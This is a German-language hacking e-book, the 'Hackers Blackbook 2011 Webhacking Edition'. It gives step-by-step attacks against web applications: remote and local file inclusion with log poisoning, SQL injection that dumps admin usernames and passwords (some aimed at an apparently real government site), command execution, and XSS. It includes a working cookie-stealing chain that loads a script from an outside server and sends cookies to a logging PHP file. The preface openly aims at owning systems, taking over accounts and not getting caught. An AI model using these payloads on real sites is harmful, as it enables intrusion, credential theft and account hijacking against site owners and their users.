Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

---Hackers Blackbook 2011 - Webhacking Edition - by unnex---

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

Inhaltsverzeichnis:

Vorwort

1. Webhacking
2. Remote & Local File Inclusion
3. SQL Injects
4. Remote Code Execution
5. Cross Site Scripting
6. Cross Site request forgery
7. Clickjacking
8. Session fixation & Session hijacking
9. Path disclosure
10. Sniffing
11. Clrf Injects
12. Optical Faking
13. Backdoors
14. Bruteforce
15. Offene Passwörter, Sensible Dateien und Ordner
16. Xsa
17. History stealing
18. Blind Path Gathering
19. Weitere Tipps und Tricks

20. Nachwort
21. Webinfo
22. Credits & Greetz
23. Weitere Editionen des Hackers Blackbook

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

Vorwort:

Das Hackers Blackbook Webhacking Edition ist eine Zusammenfassung von Cracker & Hacker Methoden und vielen nützlichen Hinweisen sowie Tipps zum Thema Hacking & Cracking. Dieses Buch soll nicht zu Straftaten anstiften sondern den Nutzern des Internets zeigen wie Hacker und Cracker arbeiten.
Der Unterschied zwischen Hackern und Crackern ist übrigens der, dass Hacker ihr Wissen
einsetzen um in Systeme einzudringen und diese besser zu verstehen oder zu erkunden oder um auch Firmen auf Sicherheits-Lücken hinzuweisen. Schaden entsteht bei "Hacker-Angriffen" selten. Cracker hingegen handeln meist ohne Rücksicht auf Verluste. Wenn sie in ein System eindringen sind sie nicht zum Lernen dort, sondern um das System zu übernehmen (Das System ownen). Dennoch sollte man sich nicht voreilig eine schlechte Meinung über die Kultur der Cracker aneignen. Schließlich besteht die Welt nicht aus Zuckerwatte. Und ganz nebenbei, die kostenlosen Filme im Netz, Softwares, Spiele-Cracks und so weiter stammen aus dem Hause der Cracker.

In diesem Buch möchte ich aber nicht beschreiben wie man Spiele-Cracks erstellt sondern wie
Home Computer und Serversysteme zu ownen sind, wie man User beschattet und deren Accounts uebernimmt, Logs faelscht & Administratoren hinters Licht fuehrt und vieles mehr!
Zudem hilft das Verstehen dieser Angriffsarten beim Schützen der eigenen Website.

Sollten sie also dieses E-Book erworben haben um damit Schaden an zu richten dann legen sie es bitte umgehend wieder bei Seite. Oder lesen sie es aufmerksam und wissbegierig damit
sie nicht beim Hacken erwischt werden.

(Sorry aber das muss sein: Ich distanziere mich von jeglichen Schaden der durch illegalen Missbrauch
dieses E-Book entstehen kann oder wird. Bitte beachten sie dass sie sich Strafbar machen
wenn sie die hier beschriebenen Techniken rechtswidrig missbrauchen.)

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

1. Webhacking

Unter Webhacking versteht man das Angreifen von entfernten Rechnersystemen (Remote System).
Im Großteil betrifft dies Webseiten, Server & entfernte Home Computer. Im laufe des Inahltsverzeichnisses
wird aber klar das es sich beim Webhacking um weitaus mehr handelt als es den Anschein hat.

Also, los gehts!

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

2. Remote & Local File Inclusion

Bei dieser Art des Hackens schleust der Angreifer mittels einer Datei Programmcode
in den eigentlichen Code der Website. Man unterscheidet zwischen Local (LFI) und Remote (RFI) File inclusion.
Wie die Namen der Methoden schon verraten, stammt bei rfi der eingeschleuste Code von einem
Remote Server und bei LFI vom Server der angegriffen wird, dieser Code muss dann nur noch richtig positioniert
werden bzw. an der richtigen eingeschleust werden. Um das ganze einfach dar zu stellen beziehe ich meine Beispiele
hier auf die wohl bekannteste Serversprache PHP.

Beginnen wir mit Remote File inclusion (RFI).

Bei einer RFI nutzt der Angreifer die Funktionen des Einbindens von Dateien, der jeweiligen Serversprache aus.
Nehmen wir die "include" Funktion von PHP. Ich werde im Beispiel den „Get parameter, nutzen. Der Get Parameter
ist immer im Link anzugeben. Also zum Beispiel:
http://blacknet.me/index.php?name=hans. In diesem Fall würde der
Get Parameter "name" den Wert "hans" enthalten.

Ein Angreifbares PHP Script könnte also wie folgt aussehen:

```
<?php
echo "jetzt wird eine Datei genutzt";
include $_GET["spiel"] . '.txt';
?>
```

Wenn unser Link wie folgt aussieht: http://seite.de/games.php?spiel=schach
dann nimmt sich das Script die Datei unter "schach.txt" und verarbeitet
dessen Inhalt als dazugehöriges Script. in dieser Datei könnte zum Beispiel stehen:

```
<?php
echo "das spiel heisst schach";
?>
```

Dann würde das Script letztendlich so aussehen (include Funktion mit Dateiinhalt ausgetauscht);

```
<?php
echo "jetzt wird eine Datei genutzt";
echo "das spiel heisst schach";
?>
```

Der eine oder Andere ahnt schon welche Möglichkeiten sich hier bieten.
Wir nehmen uns also einen Server und hosten dort unseren Schadcode.
(Free Webhosting gibt es im Internet wie Sand am Meer)
wir speichern uns unsere Datei zum Beispiel unter dem Web-Pfad
"/evilschach.txt".

Nun Rufen wir unser Verwundbares Script erneut wie folgt auf:
http://seite.de/games.php?spiel=http://freeserver.de/spiele/evilschach

Das Script includet nun die Datei unter:
http://freeserver.de/evilschach.txt

Und wir können ungehindert beliebigen Handlungen auf dem Server ausführen. Wie zum Beispiel
das Löschen, Lesen & Erstellen von Dateien usw.

Local File Inclusion (LFI):
Bei einer LFI sieht die Sache schon etwas anders aus.

Ein Beispiel:

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
<?php
include 'spiele/' . $_GET["games"];
?>
```

Jetzt steht uns ein Pfadname im Weg. Würden wir es wie bei einer RFI machen, dann
wäre dies nicht von Erfolg gekrönt:
http://seite.de/games.php?spiel=http://freeserver.de/spiele/evilschach
Würde zu:
spiele/http://freeserver.de/spiele/evilschach

Es wäre also die beste Möglichkeit Code auf dem Server ein zu schleusen obwohl dieser vorerst nicht genutzt werden kann. Damit er dann Mittels LFI zum Einsatz kommt.
Hierfür gibt es eine Vielzahl an Methoden. Die wohl beliebtesten sind per Log und per Bild.
Per Bild ist schnell erklärt. Man erstellt sich ein Bild .jpg oder .bmp
und öffnet es anschließend in einem Texteditor. Dort fügt man dann seinen Schadcode
an einer Stelle ein an der das Bild nicht vollends zerstört werden kann.
also möglichst in der Mitte. Und lade dieses auf der Page als Avatar oder ähnliches hoch.

Als Beispiel eignet sich dann aber doch eher die Oldschool Methode des Logs includen.
Wir connecten also zu unserem Opferserver via Port 80. Port 80 ist der Standartport
für http Handlungen also Webseiten. Wir connecten also auf den Server und senden ihm einfach unseren Schadcode.

Unter Windows sähe das zum Beispiel so aus (Ich Verwende das Programm Telnet zum Test):
telnet google.de 80
(nun sende ich "meincode" und bestätige mit der Entertaste)
HTTP/1.0 400 Bad Request

Und weg ist die Verbindung. Der gesunde Verstand möchte jetzt meinen dass diese Aktion komplett sinnfrei war. Dem ist allerdings nicht so. Mit dem Senden von unserem Code haben wir es immerhin in die Error-Logs des Server geschafft. Und nun haben wir auch endlich einen Schadcode auf dem Server.

Wenn die Datei der Fehlerlogs zum Beispiel hier liegt:
C:\wamp\Apache2\logs\error-log.txt

Dann könnte unser Angriff mit dem localen Includen der Errordatei in
etwa so aussehen (Webbasierte Pfade werden immer als "/" angegeben. Locale hingegen mit "\"):
http://seite.de/games.php?spiel=../../Apache2/logs/error-log.txt

Die zwei Punkte bringen uns einen Ordner zurück im gesamten Stammpfad.
Würde sich unser angreifbares Scirpt über das wir die Errorlogs einfügen zum Beispiel hier befinden:
C:\wamp\seite\www\games.php

Dann sähe ein erfolgreicher Angriffslink so aus:
http://seite.de/games.php?spiel=../../Apache2/logs/error-log.txt

Noch mal in aller Ruhe!
Wir befinden uns hier: C:\wamp\seite\www\ (Und natürlich die games.php die wir gerade nutzen.)
Nun wird Mittels "../../" zwei Ordner zurück gewechselt.
Wir befinden uns nun also hier: C:\wamp\
Jetzt wechseln wir wieder den Ordner "Apache2/logs/".
Jetzt befinden wir uns hier: C:\wamp\Apache2\logs\
Und zu guter Letzt noch die error-log.txt dazu wo unser Schadcode drin steckt.
Wie bei der RFI wird unser Schadcode nun ausgeführt und wir können auf dem Server
machen was wir wollen.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

Das ist ja alles schön und gut aber was mache ich wenn ich den Quellcode nicht kenne?
Ich kann ja schlecht erraten ob das Script der betroffenen Website für diese Angriffsart
anfällig ist.

Ob ein Script für LFI oder RFI anfällig ist, erkennt man am besten an den Fehlern die
es einem ausspuckt.

Zum Beispiel:
http://127.0.0.1/lfi.php?p=x

Fehlerausgabe:
Warning: include (../x) [function. include]: failed to open stream: No such file or directory in D:\wamp\www\lfi.php on line 3

Recht auffällig oder ? Und den kompletten Stammpfad bekommt man auch noch dazu "D:\wamp\www\lfi.php".
Was mache ich wenn ich gezwungenermaßen auf eine LFI zurückgreifen muss und in dieser nicht mal
die Dateiendung angeben kann? Da müssen dann schon besondere Umstände gelten damit man weiter kommt.
In diesem Fall brechen wir den String (unseren Pfad) einfach um mit %00 als hex Zeichen im Link.

Also. http://127.0.0.1/lfi.php?p=x%00
Sollte unser Script wie folgt handeln: spiele/ x .php
Und unser Script legt wert auf "nichts" also %00, was durchaus oft vorkommt.

Dann können wir mit diesem:
http://127.0.0.1/lfi.php?p=x.txt%00

Das hier erzeugen:
spiele/ x.txt%00 .php
wird zu: spiele/x.txt

Was mache ich wenn mir nur die Möglichkeit der Error-Log Einfügung übrig bleibt, ich aber keinen
Pfad weiss? Also wenn die Fehlerausgabe unterbindet wird. Oder ich schlicht und einfach nicht weiss
wo die das Fehlerlog gespeichert wird.
Das wäre dann ein Fall für path disclosure. Dazu aber später mehr unter Punkt "1.8.".

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

3. SQL Inject

SQL Injects sind die wohl beliebteste Angriffmethode im Netz. Zudem noch eine Altbewährte
Bei einer SQL Injection versucht man unerlaubte SQL Befehle in die eigentliche SQL Abfrage einzubringen.
Zunächst sollten wir aber erstmal Klarstellen was SQL (Structured Query Language) überhaupt ist.
SQL ist eine Befehlszeile zur Verwaltung von Daten. Großteils wird es eingesetzt um Datenbanken zu
erstellen und zu verwalten. Neben dieser Möglichkeit bietet SQL allerdings auch die Ausführung
von Systemseitigen Konsolenbefehlen (Shell commands), Dateienverwaltung sowie die Rechnung
von mathematischen Aufgaben und im kleinen Maße Vergleichsabfragen (Zum Beispiel. and 1=1).
Eine SQL-Datenbank lässt sich mit einer Vielzahl von Programmiersprechen verwenden.
Die Nutzung selber bleibt jedoch immer gleich. Die jeweilige Programmiersprache spricht die SQL Befehlzeile an, sendet den Befehl und verarbeitet schlussendlich die Antwort der Befehlszeile weiter.
Es gibt mehrere Arten von SQL Injects (sqli's). Zum Beispiel Blind SQL Inject, XPath SQL inject, SQL Timing inject
und natürlich die normalen Injects. Diese Methoden unterscheiden sich lediglich durch
die Anwendung und Erkennung.

Beginnen wir mal mit einem handelsüblichen SQL Inject.
In meinem Beispiel. nutze ich wieder den Get-parameter und php mit MySQL.

Ich bin mal so frei und protokollier einmal einen direkten Hack:
http://127.0.0.1/index2.php?s_id=2&page_id=2

Nun versuche ich einen Fehler hervor zurufen:
http://127.0.0.1/index2.php?s_id=2&page_id=2'

Ausgabe: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1
Ok, dann sah die Abfrage wohl in etwa so aus:
select dbname from table wehre i='2'

Nun siehts so aus: select dbname from table wehre i='2''
Weiter im Konzept. Ich merke gerade dass wir keine Möglichkeit haben die Anzahl der Column's raus zu bekommen.
Dann müssen wir das ganze mal durch probieren. gelandet bin ich bei:
http://127.0.0.1/index2.php?s_id=2&page_id=-2' union select
'1','2','3','4','5','6','7','8','9','10

Wozu das "-" vor der 2? Ist ein kleiner Trick damit es einem auch das anzeigt was es soll (Ab und zu, zu gebrauchen).
Nun brauchen wir erstmal den Datenbankname:
http://127.0.0.1/index2.php?s_id=2&page_id=-2' union select
'1','2',database(),'4','5','6','7','8','9','10
Ausgabe: kweenand_nphcda

Gut, nun wissen wir den Datenbankname: kweenand_nphcda
Rufen wir also alle Tabellen innerhalb der Datenbank ab:
http://127.0.0.1/index2.php?s_id=2&page_id=-2' union select
'1','2',group_concat(table_name, ', '),'4','5','6','7','8','9','10' from information_schema.tables where table_schema='kweenand_nphcda
Ausage: link_category, ,links, ,nphcda_content, ,nphcda_doctype, ,nphcda_documents, ,nphcda_guestbook, ,nphcda_images, ,nphcda_news, ,nphcda_sections, ,nphcda_users

Wir konzentrieren uns nun auf "nphcda_users" los geht's:
http://127.0.0.1/index2.php?s_id=2&page_id=-2' union select
'1','2',group_concat(column_name, ', '),'4','5','6','7','8','9','10' from information_schema.columns where table_schema='kweenand_nphcda' and table_name='nphcda_users' is 6

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

Ausgabe: userid, ,username, ,password, ,user_level, ,fname, ,lname,

Wir sind schon fast fertig:
http://127.0.0.1/index2.php?s_id=2&page_id=-2' union select
'1','2',username,'4','5','6','7','8','9','10' from nphcda_users where userid='1
Ausgabe: admin

AHA! Der Username ist "admin".
http://127.0.0.1/index2.php?s_id=2&page_id=-2' union select
'1','2',password,'4','5','6','7','8','9','10' from nphcda_users where userid='1
Ausgabe: notatall

Achja, das Passwort heißt "notatall".
Würde mal sagen: Owned.

Der ein oder Andere fragt sich jetzt vielleicht. was gemacht wurde?
Nun, die Sache ist ganz einfach. Ich habe die eigentliche SQL Abfrage der Seite

Manipuliert und weiter geführt. So wurde zum Beispiel anfangs aus:
select dbname from table wehre id=1
So etwas: select dbname from table wehre id=1 union select 1,password,3 from
users wehre id=1

Wie ein sql Inject Grundsätzlich aufgebaut ist dürfte nun klar sein.
Es sollte auch klar sein das für diese Technik ein bisschen Grundwissen in
Sachen SQL-Befehle
vorhanden sein muss. Sonst sucht man ein bisschen in Google.

Machen wir weiter mit Blind SQL Injection.
Wie der Name schon sagt macht man hier so gut wie alles blind. Das heisst man
orientiert sich nicht
an eventuelle Fehlermeldungen die die Seite ausgibt, sondern an anderen Dingen
die ausgegeben werden.
Zum Beispiel ein Text:

http://www.wwwhly.gov.cn/include/show_hack_pic.php?id=-31 union select
1,2,concat(id=94, char(58), username, char(58), password, char(58),
email),4,5,6,7,8,9,10,11 from web_user--
Ausgabe: 1:wangw:081e1118081a160c1716151605171a:sky452@sina.com
Wie wir sehen ist das Passwort wohl md5 verschlüsselt. Aber dazu mehr bei Punkt
"6.4. Hashes".
Wenn wir diese Seite aufrufen:
http://www.wwwhly.gov.cn/include/show_hack_pic.php?id=31 or 1=1--
("--" Beendet einen SQL-Befehl) und den Sqlbefehl einfach mal beenden, dann
sehen wir ein
Bildchen und einen Text darunter. Wir könnten wir folgt vorgehen:
http://www.wwwhly.gov.cn/include/show_hack_pic.php?id=31 or 1=1--
Bild ist da.
http://www.wwwhly.gov.cn/include/show_hack_pic.php?id=31 or x=1--
Bildchen ist weg. Und so machen wir den ganzen Sqlbefehl für unsere Vorteile
fertig.
Dasselbe gilt natürlich auch für unsehbare Dinge. wie Wörter die man nur
innerhalb des Seitenquelltextes sieht.

Natürlich gibt es Scripte die bestimmte Zeichen oder Wörter nicht zulassen.
Wie bei so vielen Dingen ist dann die Kreativität gefragt. Meistens gibt es
einen Weg seine SQL-Abfragen so zu formulieren, dass man an den Sperren vorbei
kommt.

Ok, weiter mit XPath & Timing. diese Zwei Methoden sind an und für sich schnell
erklärt
wenn man die schon genannten Methoden dabei im Kopfe behält.
ein sql XPath Inject beschreibt weiter nichts als das man den sql Inject über
einen vermeintlichen
Dateipfad ausführt. Also zum Beispiel
http://127.0.0.1/spielenummer/123'-sqlinject/user/test.

Die Erklärung für einen sql Timing Inject dürfte gleichermaßen schnell erklärt
sein.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

Hierbei handelt es sich lediglich um einen sql Inject auf Basis eines sql Wartebefehls.
Also zum Beispiel sleep(10) für 10 Sekunden warten. Es gibt Situationen in denen man weder Fehlermeldung
noch sonst einen Anhaltspunkt bekommt an dem man seine SQL-Antworten festmachen kann.
Obwohl an dieser Stelle ein SQL-Inject möglich ist. Da empfiehlt sich dann die Methode des Timings:
http://127.0.0.1/abfrage.php?id=1 and sleep (10)
Ob die Manipulation der eigentlichen SQL-Abfrage erfolgreich war macht man nun daran fest
ob das Script tatsächlich um die 10 Sekunden zum laden brauch.

Wie gesagt kann man mit sql auch Dateien erstellen und Shellbefehle ausführen.
Nun, wie das ganze Funktioniert sollte klar sein. Wir manipulieren einfach
die SQL-Befehle wie schon gewohnt. Mit dem kleinen Unterschied das wir Befehle
zum Dateien erstellen oder Shell ausführen usw. mit einbringen.
Der Befehl zum laden einer Datei könnte zum Beispiel. so aussehen:
load_file('c:\boot.ini')

In sql hat man auch die Möglichkeit Charnummern. Was sie des öfteren als sehr nützlich
erweist um an Sperren vorbei zu kommen zum Beispiel:
load_file(char(99,58,47,98,111,111,116,46,105,110,105))

Wie man sieht brauch man nur ein Handbuch oder etwas Wissen über sql und schon
stehen einem eine Menge mehr Möglichkeiten in Sachen sql Injects zu Verfügung.

Habe ich vergessen auf SQL-Abfragen ein zu gehen die mit einem Update-Befehl oder anderem anfangen?
Nun gut, auch hier sind wir gewillt die Abfrage zu manipulieren. Wenn unsere Sqlabfrage
nunmal mit einem Shellbefehl beginnt. Sei es drum. So einen Befehl vollendet man doch gern!

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

4. Remote Code Execution

Der Name sagt es schon, wir führen beim Remote Server unerlaubt Code aus. Im Falle einer Code Execution
handelt es sich dabei um Serverseitigen Code. Also zum Beispiel. PHP, Python, c, Shell und so weiter.
In den meisten Fällen wird diese Technik bei Shellbefehlen und php Befehlen angewandt.
Diese Technik wird oft bei schon gecrackten Systemen eingesetzt bei denen allerdings noch
der Komplette Zugriff auf den Server fehlt.

Nehmen wir zur Erklärung mal den Fall einer Code Execution auf Basis von tpl Scripts.
Wir haben uns gerade in einen Adminpanel gehackt aber haben keinen direkten Zugriff
auf den Server. Sondern können nur die User der Homepage bearbeiten usw.
Und, sagen wir mal, wir befinden uns im Adminbereich eines Forums.
In Foren hat man oft die Möglichkeit Template Dateien zu bearbeiten oder hoch zu laden.
Viele Scripte binden diese dann per php ein. Dabei gibt es die Möglichkeiten auch abgewandelter Form
php scripte aus zu führen. Zum Beipsiel. könnte ein php Code innerhalb einer Templatedatei so aussehen:
<html>phpinfo ausgabe: {${phpinfo()}}</html>
ausgabe: wäre dann die phpinfo.

Ok, ok... Ich glaube ich muss hier nichts weiter erklären.
Es sollte ja klar sein das man auf diese weise auch ganz normal php nutzen kann XD

Ein anderes Beispiel: http://127.0.0.1/cmd.php?cmd=ueberfluss.txt:

```
<?php
system('del c:\\' . $_GET["cmd"], $v);
?>
```

Was passiert? Genau, die Datei "c:\ueberfluss.txt" wird gelöscht.

Ausgenutzt könnte das so aussehen:
http://127.0.0.1/cmd.php?cmd=daten\\wichtig.txt

Nun wird logischerweise die Datei "c:\daten\wichtig.txt" gelöscht.

Tatsächlich kommt es in vielen Script's vor das man solche Bugs findet.
Bsp. für Get-parameter:
http://127.0.0.1/design.php?style={stylevar}
und so weiter
Diese Methode ist oft nützlich um Trojaner oder Viren auf den Server zu laden oder
Backdoors ein zu richten.

Code Execution Bugs sind im übrigen auch sehr beliebt bei Browsern.
Hier werden dann gern Protocoll-Handler genommen wie beim Internet-Explorer Version 6 "telnet://127.0.0.1".
Das könnte dann so aussehen:
link
Folglich wird der User via Telnetfenster zur IP 127.0.0.1 connectet.

Oder lokales Javascript. Erst vor kurzem gab es im ICQ-Messenger eine Sicherheitslücke
die es erlaubt hat auf einem Remote Rechner lokal in seinem System Javascript aus zu führen.
Die Folge des Ganzen war, dass man Dateien vom Rechner auslesen und stehlen konnte.
Ähnlich einer Code Execution.
Nun gibt als Beispiel beim Internet Explorer Active X Scripts. Diese ermöglichen alle Arten von Dateiverwaltung!
So etwas ist ebenfalls beliebt für browserbetreffende Code Executions.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

5. Cross Site scripting

Cross Site Scripting auch CSS oder XSS genannt beschreibt das einschleusen von Browserseitigen Code
in die Code Ausgaben von Remote Browsern. Diese Methode ist noch relativ neu. Sie eignet sich besonders
gut zum Passwort phishen oder Cookies stealen. XSS vertritt Massenweise Unterarten:
XSS
Header XSS
Stored XSS
XSS Phishing
XSS Tracing
Event XSS
XSS Clickjacking
Local Stealing

Ich erklär am besten erstmal wie so eine XSS Lücke zu finden ist.
Wir nehmen mal testweise folgendes Script:

```
<?php
echo "<html><input type='text' value='" . $_GET["text"] . "'><html>";
?>
```

ausgabe: ein Inputfeld mit dem Inhalt aus $_GET["text"].

Unser Ziel besteht nun darin Browserseitigen Code aus zu führen der uns von Nutzen sein könnte.
Das können wir allerdings nicht solange unser Text noch innerhalb des Inputfeldes steht.

Noch mal zum mitschreiben:
http://127.0.0.1/text.php?text=hallo
Erzeugt: <html><input type='text' value='hallo'>

Also müssen wir aus dem Inputfeld ausbrechen:

http://127.0.0.1/text.php?text=hallo'>evilcode
Ergibt: <html><input type='text' value='hallo'>evilcode'><html>

Jetzt können wir uns also frei bewegen innerhalb des html Codes.
Und uns unser Cookie ausgeben lassen:
http://127.0.0.1/text.php?text=hallo'><script>alert(document.cookie)</script>

Ebenfalls könnten wir jetzt auch eine Passwortbox per Javascript erscheinen lassen
die Username und Passwort abfragt. Oder einfach ein Script den derzeitigen Quelltext ausliest.

Ich mach einfach mal ein paar Beispiele:
http://127.0.0.1/text.php?text=</title>evilcode

```
<?php
echo "<html><title>" . $_GET["text"] . "</title></html>";
?>
```

http://127.0.0.1/text.php?text=test' alert(document.cookie); x='x

```
<?php
echo "<script>text='" . $_GET["text"] . "';</script>";
?>
```

Auf was läuft das hinaus? Wir versuchen mittels unserer Eingaben
selbst Javascript aus zu führen. Wie man sieht gibt es da eine Vielzahl an Möglichkeiten.
Bevor es weiter geht möchte ich noch ein kurzes Beispiel zeigen:

http://127.0.0.1/text.php?url=javascript:alert(document.cookie)

```
<?php
echo "<iframe src='" . $_GET["url"] . "'></iframe>";
?>
```

Wir haben in ihrem Browser die Möglichkeit Javasript auch direkt per Url auf zu

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

rufen.
D.h. Der gezeigte Iframe wird ihnen eine Alertbox mit ihrem Cookie anzeigen.
Das würde zum Beispiel. auch mit diesem Code klappen:
http://127.0.0.1/text.php?url=javascript:alert(document.cookie)

```
<?php
echo "<script>location.href='" . $_GET["url"] . "';</script>";
?>
```

Natürlich sind die bis jetzt genannten Beispiele nicht das Dogma des XSS.
Wie man merkt kommt es auch hier wieder darauf an eigenständig und kreative zu reagieren.

Cross Site Scripting läuft meist darauf hinaus, dass die Cookies eines Users ausgelesen
und an einen entfernten Server weitergeleitet werden. Das kann man so machen:

```
<script src=http://server.de/xss.js></script><body onload=q();></body>
```

Mit dieser Zeile rufen wir ein Script von einem entfernten Server auf der dann alles weitere
Verarbeitet. Also könnte das Script in etwa so aussehen:

```
xss.js:
function q() {
location.href="http://server.de/c.php?cookie="+escape(document.cookie); }
```

Das Script leitet uns mit dem Cookie im Gepäck an die entsprechende php Datei weiter
die das Cookie dann annimmt und abspeichert:

```
c.php:
<?php if (isset($_GET["cookie"])) { $filename="log.txt";
$fp = fopen($filename,'w');
fwrite($fp, $_GET["cookie"]);
fclose($fp); } ?>
```

Soweit so gut. Nun nur noch das Cookie nehmen und bei der entsprechenden Seite im Header
ändern und wir sind eingeloggt. D.h. wir tauschen unser Momentanes Cookie mit dem geklauten Cookie
aus. Das Ganze geht natürlich auch ohne das Einbinden einer externen Datei.

Jetzt wo wir Wissen wie man einige XSS Lücken findet und wie man sie ausnutzt können wir uns ruhig etwas tiefer in die Materia kramen.
Weiter geht’s mit Header XSS. Beim Header XSS setzen wir unseren Code direkt per Header ein.
So was findet am meisten bei Logfiles und ähnlichen Anwendung.

Zunächst wieder ein einfaches Beispiel:
Unser Header sieht so aus:

```
GET /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cache-Control: max-age=0
```

Nun das verwundbare Script:

```
<?php
echo "sie benutzen als browser: " . $_SERVER['HTTP_USER_AGENT'];
?>
```

Ausgabe: Mozilla/5.0

was jetzt zu tun ist, ist klar. wir senden unseren Header in etwa so:
GET /index.php HTTP/1.1

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
Host: 127.0.0.1
User-Agent: Mozilla/5.0<script>alert(document.cookie)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cache-Control: max-age=0
```

Ausgabe: Mozilla/5.0<script>alert(document.cookie)</script>
Und schon haben wir es wieder geschafft Javascript au zu fuehren.

So, und jetzt folgt der perfekte Übergang zum Stored XSS
Wir nutzen jetzt Header XSS um unseren Code zu storen.
Vorweg erklär ich die Besonderheit des Stored XSS.
Stored XSS ist, wenn man seinen Code auf der Seite verewigen kann
so das er bleibt bis ihn der Admin weg macht. Also was wir jetzt gemacht
haben gilt immer nur für den jeweiligen Moment. Wir nehmen als Beispiel:
http://127.0.0.1/text.php?url=javascript:alert(document.cookie)

```
<?php
echo "<iframe src='" . $_GET["url"] . "'></iframe>";
?>
```

Schicken dem User unseren Link und wenn er auf den Link geht gibt’s Saures.
Das gilt natürlich aber nur für diesen speziell präparierten Link.
Bei Stored XSS sieht das ganze schon anders aus.

Unser Header:

```
Host: 127.0.0.1
User-Agent: Mozilla/5.0<script>alert(document.cookie)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cache-Control: max-age=0
```

Das verwundbare Script:

```
<?php
$filename="log.html";
$fp = fopen($filename,'w');
fwrite($fp, $_SERVER['HTTP_USER_AGENT']);
fclose($fp);
?>
```

Unsere Browserinformationen die ja unseren xss Code enthalten werden nun
in der log.html gespeichert. Der Vorteil von Stored xss ist sofort zu erkennen.
Sobald der Admin seine Logdatei aufruft wird unser Script ausgefehrt.
Diese Art des xss wird auch gern bei pm's auf foren oder communitys eingesetzt
;-)
Man merkt sofort das Stored xss zu einer wahren Hammermethode eines Crackers
werden kann.

Machen wir weiter mit xss phishing. Beim xss pishing geht es wie beim normalen
phishing darum
dem User seinen Username und sein Passwort eingeben zu lassen, so das man es
senden kann.

Ein kurzes Bsp:

```
<html>
</head>
<style type="text/css">
td { margin: 0cm }
</style>
</head>
<body>
<td>
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
<iframe src="http://127.0.0.1/nachgestellteseite-mit-loginpanel.php" name="b"
style="border: 0; width: 100%; height: 100%"></iframe>
</td>
</body>
</html>
```

Ich habe einfach ein weiteres Script ueber das eigentliche gelegt und fordere in diesem Script auf
den User seine Logindaten ein zu geben. Als Grund nenne ich meinetwegen einfach mal das der User
sich aus Sicherheitsgruenden neu enloggen sollen. Was echt mehr als fresch ist XD
Duerfte als klar sein wie xss phishing genutzt wird ?
ok, dann kanns ja weiter gehen. xss tracing steht als naechstes aufm Plan. Hierzu muss ich sagen
dass diese Methode schon als veraltet gilt. Und zudem nur bestimmten Browsern nutzbar ist.
Zum Beispiel beim Internet Explorer. Vorerst aber. Was ist XSS Tracing ? XSS Tracing ist eine Methode
beider man dem Server mittel Header befielt sich seine eigenen Daten ausgeben zu lassen
(http tracing Method). Der Header für das Ganze könnte so aussehen:

```
TRACE /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0<script>alert(document.cookie)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cache-Control: max-age=0
```

Die Ausgabe des Servers wäre dann genau das was wir eingegeben haben.
Somit würde auch wieder unser Code zum Vorschein kommen.
Wir können also die derzeitigen Cookies des Users auf dieser verwundbaren Webseite
auslesen und an einen unserer Server weiterleiten. Ich zeige mal eben ein paar Beispiele zur Ausnutzung im Internet Explorer:

```
<script type="text/javascript">
function sendTrace() {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "http://google.de",false);
xmlHttp.send();
xmlDoc=xmlHttp.resonseText;
alert(xmlDoc); } </script>
```

Die Variable "xmlDoc" enthält nun die Headerdaten des User bei dem dieses Script im Internet Explorer
ausgeführt wird. Somit auch seine Cookies, Browserlanuage und so weiter.
Wie gewohnt müssen wir nun nichts weiter machen als xmlDoc an einen unsere Server zu senden
und es abspeichern zu lassen.

Besinnen wir uns mal zurück zu unseren ersten Einblicken ins Cross Site Scripting.
Wir hatten da doch so ein Beispiel:
http://127.0.0.1/text.php?text=hallo'>evilcode
ergibt: <html><input type='text' value='hallo'>evilcode'><html>

Was machen wir eigentlich wenn wir das Zeichen > nicht verwenden können?
Weil das Script es verbietet oder einfach noch vor der Ausage aussortiert?
